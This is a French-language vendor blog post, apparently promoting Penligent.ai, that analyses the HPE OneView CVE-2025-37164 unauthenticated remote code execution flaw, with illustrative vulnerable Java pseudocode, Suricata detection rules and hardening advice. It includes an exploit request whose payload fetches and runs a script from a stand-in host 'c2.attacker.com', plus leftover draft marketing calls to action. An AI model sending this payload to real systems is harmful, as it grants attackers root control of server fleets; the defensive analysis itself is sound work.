La prise de contrôle du silicium : Autopsie de CVE-2025-37164 (HPE OneView) et effondrement de la sécurité informatique de l'IA

Dans l'ère florissante de 2026, où " l'informatique est le nouveau pétrole ", la sécurité du centre de données physique n'a jamais été aussi critique. Alors que les équipes rouges passent des semaines à élaborer des injections rapides pour contourner les garde-fous du LLM, une menace bien plus primitive et dévastatrice est apparue dans les sous-sols de la pile informatique.

Le 16 décembre 2025, le monde de la sécurité a été ébranlé par la divulgation des informations suivantes CVE-2025-37164, une vulnérabilité dans HPE OneView transportant le rare et terrifiant Score CVSS de 10.0.

Pour les non-initiés, HPE OneView est le logiciel "God Mode" pour l'infrastructure moderne définie par logiciel (SDI). Il automatise le provisionnement de milliers de serveurs HPE Synergy et ProLiant, les mêmes bêtes nues qui alimentent les clusters d'entraînement à l'IA les plus avancés au monde.

CVE-2025-37164 est un Exécution de code à distance non authentifiée (RCE) vulnérabilité. Elle permet à tout attaquant disposant d'un accès réseau au port de gestion d'exécuter des commandes système arbitraires en tant que root, remettant ainsi les clés de l'ensemble de la flotte physique. Cet article abandonne le résumé de haut niveau pour procéder à une dissection chirurgicale de la défaillance de l'API et de ses implications pour l'ingénierie de la sécurité de l'IA.

L'architecture d'une vulnérabilité de type "God Mode" (mode divin)

Pour comprendre la gravité de cette faille, il faut comprendre le rôle de OneView. Il se situe au-dessus des interfaces BMC (Baseboard Management Controller) et iLO (Integrated Lights-Out), regroupant le contrôle des structures de calcul, de stockage et de mise en réseau.

La vulnérabilité réside dans un point de terminaison spécifique de l'API REST : /rest/id-pools/executeCommand.

1. La catastrophe de la configuration

Dans la conception d'API sécurisées, les points d'extrémité capables d'exécuter des commandes système doivent être protégés par plusieurs couches : Authentification (OAuth/Session), Autorisation (RBAC) et Assainissement des entrées.

Dans les versions concernées de OneView (antérieures à la version 11.0), la définition du point de terminaison de executeCommand a été victime d'une erreur de configuration catastrophique. La carte du filtre de sécurité interne a marqué cette route avec auth-type : NO_AUTH.

Logique hypothétique du backend (Pseudocode Java/Spring) :

Java

`@RestController @RequestMapping("/rest/id-pools") public class IdPoolController {

// FATAL FLAW : Missing @PreAuthorize("isAuthenticated()")
// Ce point de terminaison était probablement destiné à la communication interne entre services // mais a été exposé à l'interface publique.
// mais a été exposé à l'interface publique.
@PutMapping("/executeCommand")
public ResponseEntity execute(@RequestBody CommandRequest payload) {
    
    String binary = payload.getCommand() ;
    String[] args = payload.getArgs() ;
    
    // FATAL FLAW : Injection directe dans ProcessBuilder sans sanitization
    ProcessBuilder pb = new ProcessBuilder(binary) ;
    pb.command().addAll(Arrays.asList(args)) ;
    Process process = pb.start() ;
    
    return ResponseEntity.ok(readOutput(process)) ;
}

}`

Cette logique crée un tunnel direct entre une requête HTTP et le noyau Linux de l'appareil.

2. Déconstruction de la chaîne de mise à mort

La complexité de l'exploit est de Faible. Il n'y a pas de corruption de la mémoire à masser, pas d'ASLR à contourner et pas de condition de course à gagner. Il s'agit d'un défaut de logique pur et simple.

La primitive d'exploitation :

Un attaquant envoie une requête PUT. La charge utile est un objet JSON définissant la commande à exécuter.

HTTP

`PUT /rest/id-pools/executeCommand HTTP/1.1 Host : oneview-appliance.local Content-Type : application/json

{"command" : "/bin/sh", "args" : ["-c", "wget http://c2.attacker.com/payload.sh -O /tmp/x ; chmod +x /tmp/x ; /tmp/x"]]. }`

Le résultat :

L'appareil exécute le script. L'attaquant obtient un shell inversé avec les privilèges de root. À partir de là, il dispose d'une persistance sur le contrôleur de réseau lui-même.

Le paysage des menaces liées à l'infrastructure de l'IA

Pourquoi cette question est-elle spécifique à l'"ingénieur en sécurité de l'IA pur et dur" ? Parce que l'infrastructure de l'IA est particulièrement vulnérable à ce type d'attaque.

1. Le vol de GPU (Cryptojacking et vol)

Les clusters de formation à l'IA utilisent les GPU H100/B200, qui sont d'une valeur inestimable. Un pirate disposant d'un accès root à OneView peut :

• Provisionnement des charges de travail irrégulières : Faire tourner des machines virtuelles cachées sur le métal nu pour miner de la crypto-monnaie, en siphonnant des mégawatts d'énergie et de capacité de refroidissement.
• Déni de ressources : Au cours d'un entraînement critique (qui peut coûter des millions de dollars), l'attaquant peut lancer un appel d'offres. arrêt de l'alimentation aux lames physiques via l'interface iLO, ce qui entraîne des pertes de données catastrophiques et des retards dans les projets.

2. Empoisonnement de la chaîne d'approvisionnement par des microprogrammes

OneView gère les mises à jour du micrologiciel pour le parc de serveurs. Un attaquant disposant d'un accès root peut :

• Flash Malicious Firmware (logiciel malveillant) : Rétrograder le BIOS/UEFI vers des versions vulnérables ou implanter des rootkits persistants (comme le BlackLotus) dans la mémoire flash SPI des serveurs AI.
• Accès permanent : Même si le système d'exploitation est effacé et réinstallé, le logiciel malveillant survit dans le matériel, compromettant tous les modèles futurs formés sur cette machine.

3. Mouvement latéral vers les lacs de données

Les clusters d'intelligence artificielle haute performance sont étroitement liés aux structures de stockage (Infiniband/RoCE). OneView gère ces connexions. La compromission de OneView permet à un attaquant de monter les volumes NAS/SAN sous-jacents, ce qui lui donne un accès direct aux ensembles de données propriétaires et aux poids des modèles sans jamais toucher au réseau AD de l'entreprise.

Une défense fondée sur l'IA : L'avantage de la négligence

La détection de vulnérabilités d'infrastructure telles que CVE-2025-37164 est un angle mort pour les scanners d'applications Web traditionnels (DAST). Les outils DAST explorent le HTML ; ils sondent rarement les API de gestion obscures sur des ports non standard.

C'est ici que Penligent.ai représente un changement de paradigme pour la sécurité des infrastructures.

1. Cartographie des actifs hors bande (OOB)

Les agents d'intelligence artificielle de Penligent utilisent Cartographie complète des actifs. Ils ne se contentent pas d'analyser les applications web ; ils écoutent activement les signatures des protocoles de gestion (IPMI, Redfish, HPE REST API). L'IA met en corrélation ces signatures avec les dernières informations sur les menaces, identifiant ainsi l'"infrastructure fantôme" que le service informatique a oublié de patcher.

2. Vérification non destructive des CRE

L'analyse d'une grappe d'IA de production est risquée. Un mauvais scan peut faire planter un serveur. Penligent utilise Fuzzing en fonction du contexte pour effectuer des vérifications non destructives.

• Charge utile sûre : Au lieu d'envoyer rm -rf / ou un shell inversé, Penligent envoie une charge utile bénigne comme echo "Contrôle_pénitent".
• Validation : L'IA analyse la réponse HTTP. Si elle voit la chaîne renvoyée, elle confirme le RCE avec une certitude de 100%, ce qui permet à l'équipe de sécurité de donner la priorité au correctif sans faire échouer le travail de formation.

Manuel de l'équipe bleue : Détection et renforcement

Si vous ne pouvez pas réparer immédiatement, vous êtes dans un état de "violation présumée".

1. Détection de réseaux (Suricata/Snort)

Surveillez le trafic vers le sous-réseau de gestion OneView. Recherchez les messages HTTP PUT ou POST demandes à /rest/id-pools/executeCommand.

Règle de Suricata :

YAML

alert http $EXTERNAL_NET any -> $ONEVIEW_SERVER 443 (msg : "ET EXPLOIT HPE OneView CVE-2025-37164 RCE Attempt" ; \N- flow:established,to_server ; \N- content :"/rest/id-pools/executeCommand" ; http_uri ; \N content : "command" ; http_client_body ; \N content : "/bin/" ; http_client_body ; \N classtype:attempted-admin ; sid:1000025 ; rev:1 ;)

2. Audit des journaux

Vérifiez les journaux d'audit OneView (ci-debug.log ou audit.log) pour les appels inattendus au IdPools provenant d'adresses IP qui ne sont pas celles de l'hôte Bastion désigné.

3. Quarantaine architecturale

• VLAN de gestion : Assurez-vous que l'interface de l'appliance OneView se trouve sur un VLAN strictement isolé, accessible uniquement via un VPN avec MFA.
• ACLs : Appliquez des listes de contrôle d'accès au niveau du commutateur pour bloquer tout le trafic vers le port 443 de l'appliance OneView, à l'exception de l'IP spécifique du poste de travail de l'administrateur système.

Conclusion

CVE-2025-37164 nous rappelle brutalement que le "nuage" n'est que l'ordinateur de quelqu'un d'autre, et que cet ordinateur est doté d'un port de gestion. Dans la hâte de construire l'AGI, nous ne devons pas négliger les fondations concrètes sur lesquelles elle repose.

La sécurité de l'IA du futur dépend non seulement d'un alignement solide des modèles, mais aussi de l'intégrité de la chaîne d'approvisionnement en silicium. Mettez à jour votre micrologiciel, isolez vos plans de gestion et utilisez une validation intelligente et automatisée pour vous assurer que votre console "God Mode" ne devienne pas le terrain de jeu d'un attaquant.

Références fiables

• Bulletin de sécurité HPE : HPESBGN04770 (CVE-2025-37164)
• Détail du NIST NVD pour CVE-2025-37164
• Catalogue des vulnérabilités connues et exploitées de la CISA
• Analyse Rapid7 : RCE critique non authentifié affectant HPE OneView

🚀 Options CTA

Option 1 (point douloureux - recommandé) :

Votre scanner DAST est-il aveugle aux API de gestion ? Penligent ne l'est pas.

Ne négligez plus votre infrastructure. Détectez les RCE cachés dans votre cluster de calcul d'IA avec Penligent dès aujourd'hui.

Option 2 (urgence) :

Ne laissez pas un bug "God Mode" anéantir vos modèles d'IA.

Validez instantanément votre posture de sécurité HPE OneView grâce aux tests non destructifs de Penligent.